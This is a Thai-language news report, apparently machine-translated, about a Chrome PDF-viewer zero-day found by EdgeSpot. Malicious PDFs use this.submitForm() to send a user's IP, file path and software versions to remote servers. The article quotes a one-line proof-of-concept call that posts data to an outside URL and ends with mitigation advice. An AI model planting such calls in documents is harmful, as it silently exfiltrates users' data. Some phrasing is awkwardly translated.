บริการตรวจจับการใช้ประโยชน์จาก EdgeSpot ค้นพบช่องโหว่ของ Chrome ที่ น่าสนใจ ตลอดทั้งวันและ ใช้ประโยชน์จากเอกสาร PDF ช่องโหว่ดังกล่าวทำให้ผู้โจมตีสามารถรวบรวมข้อมูลที่สำคัญได้โดยใช้เอกสาร PDF ที่เป็นอันตรายซึ่งเปิดอยู่ใน Chrome

ทันทีที่เหยื่อเปิดไฟล์ PDF ที่เกี่ยวข้องใน Google Chrome โปรแกรมที่เป็นอันตรายจะเริ่มทำงานในพื้นหลังโดยรวบรวมข้อมูลผู้ใช้

ข้อมูลจะถูกส่งต่อไปยังเซิร์ฟเวอร์ระยะไกลที่ถูกควบคุมโดยแฮกเกอร์ คุณอาจสงสัยว่าข้อมูลใดถูกโจมตีโดยผู้โจมตีพวกเขากำหนดเป้าหมายข้อมูลต่อไปนี้บนพีซีของคุณ:

• ที่อยู่ IP
• เส้นทางแบบเต็มของไฟล์ PDF บนระบบ
• เวอร์ชั่นของ OS และ Chrome

ระวังไฟล์ PDF ที่ติดมัลแวร์

คุณอาจประหลาดใจที่รู้ว่าไม่มีอะไรเกิดขึ้นเมื่อใช้ Adobe Reader เพื่อเปิดไฟล์ PDF นอกจากนี้คำขอ HTTP POST จะใช้ในการถ่ายโอนข้อมูลไปยังเซิร์ฟเวอร์ระยะไกลโดยไม่มีการแทรกแซงของผู้ใช้

ผู้เชี่ยวชาญพบว่าหนึ่งในสองโดเมน readnotifycom หรือ burpcollaboratornet ได้รับข้อมูล

คุณสามารถจินตนาการถึงความรุนแรงของการโจมตีโดยพิจารณาจากความจริงที่ว่าซอฟต์แวร์ป้องกันไวรัสส่วนใหญ่ไม่สามารถตรวจจับตัวอย่างที่ตรวจพบโดย EdgeSpot

ผู้เชี่ยวชาญเปิดเผยว่าผู้โจมตีกำลังใช้“ this.submitForm ()” PDF Javascript API เพื่อรวบรวมข้อมูลที่ละเอียดอ่อนของผู้ใช้

เราทดสอบด้วย PoC ขั้นต่ำการเรียก API แบบง่าย ๆ เช่น“ this.submitForm ('http://google.com/test')” จะทำให้ Google Chrome ส่งข้อมูลส่วนบุคคลไปที่ google.com

ผู้เชี่ยวชาญพบว่าข้อผิดพลาดของ Chrome นี้ถูกใช้ประโยชน์จากไฟล์ PDF ที่เป็นอันตรายสองชุด ทั้งสองถูกหมุนเวียนในเดือนตุลาคม 2017 และกันยายน 2018 ตามลำดับ

ผู้โจมตีสามารถใช้ข้อมูลที่รวบรวมได้เพื่อปรับแต่งการโจมตีในอนาคต รายงานแนะนำให้รวบรวมไฟล์ชุดแรกโดยใช้บริการติดตาม PDF ของ ReadNotify

ผู้ใช้สามารถใช้บริการเพื่อติดตามมุมมองของผู้ใช้ EdgeSpot ไม่ได้แบ่งปันรายละเอียดใด ๆ เกี่ยวกับลักษณะของไฟล์ PDF ชุดที่สอง

วิธีการป้องกันอยู่

บริการตรวจจับการใช้ประโยชน์ EdgeSpot ต้องการแจ้งเตือนผู้ใช้ผู้ใช้ Chrome เกี่ยวกับความเสี่ยงที่อาจเกิดขึ้นเนื่องจากไม่คาดว่าจะได้รับการแก้ไขในอนาคตอันใกล้

EdgeSpot รายงานไปยัง Google เกี่ยวกับช่องโหว่ในปีที่แล้วและ บริษัท สัญญาว่าจะปล่อยปะแก้ปลายเดือนเมษายน H

อย่างไรก็ตามคุณสามารถพิจารณาใช้วิธีการชั่วคราวเพื่อแก้ไขปัญหาโดยการดูเอกสาร PDF ที่ได้รับในพื้นที่โดยใช้แอพตัวอ่าน PDF ทางเลือก

หรือคุณสามารถเปิดเอกสาร PDF ของคุณใน Chrome ได้โดยยกเลิกการเชื่อมต่อระบบของคุณจากอินเทอร์เน็ต ในขณะเดียวกันคุณสามารถรอการอัปเดต Chrome 74 ที่คาดว่าจะวางจำหน่ายในวันที่ 23 เมษายน